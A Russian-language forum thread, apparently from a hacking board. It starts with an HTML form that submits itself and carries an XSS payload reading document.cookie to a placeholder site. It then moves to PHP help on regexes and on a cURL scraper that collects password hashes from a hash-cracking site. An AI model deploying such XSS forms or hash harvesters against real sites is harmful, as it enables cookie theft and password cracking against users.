<form NAME="xss" method='post' action='http://blablabla.ru/index.php&post=on'> <input type='hidden' name='name' value='"><script>alert(document.cookie)</script>'> <input type='submit'> </form> <script> document.xss.submit(); </script>
#Wolf# PHP: $str = '2008-08-18(43):3557d8eff41195a6e33efb18d356a3e5::'; preg_match('#^[^:]+:([^:]+):#m',$str, $matches); print_r($matches); echo $matches[1];
И опять же он ЛИШЬ переходит по етой ссылке http://blablabla.ru/index.php&post=on НЕ ОТПРАВЛЯЯ ДЕННЫЕ С СТАРНИЦЫ!!!
Просто надо знать волшебное слово, все делается без особых проблем. Благо классов уже понаписанно достаточно. Так что 3 строки - и вы в посте
m0Hze у меня file_get_contents() с https неочень хотел работать. PHP: <?php set_time_limit(0); $url = "https://hashcracking.info/index.php?4"; $ref = "https://hashcracking.info/index.php"; $ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_REFERER, $ref); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); $res = curl_exec($ch); preg_match_all('#[0-9a-f]{32}#i', $res, $matches); print_r($matches); ?>
1) Почитай сначала про многомерные массивы http://ua.php.net/manual/ru/language.types.array.php 2) http://ua.php.net/manual/ru/book.curl.php
print_r() выводит информацию о переменной в удобочитаемом виде. echo — Выводит одну или более строк PHP: foreach($arr as $val) { echo $val.'<br />'; }
PHP: name "system" Надо name="system" PHP: case 'mysql5' : { $hash = "#[0-9a-f]{40}#i"; $url = "https://hashcracking.info/index.php?5"; }break; Извращение, фигурные скобки не обязательны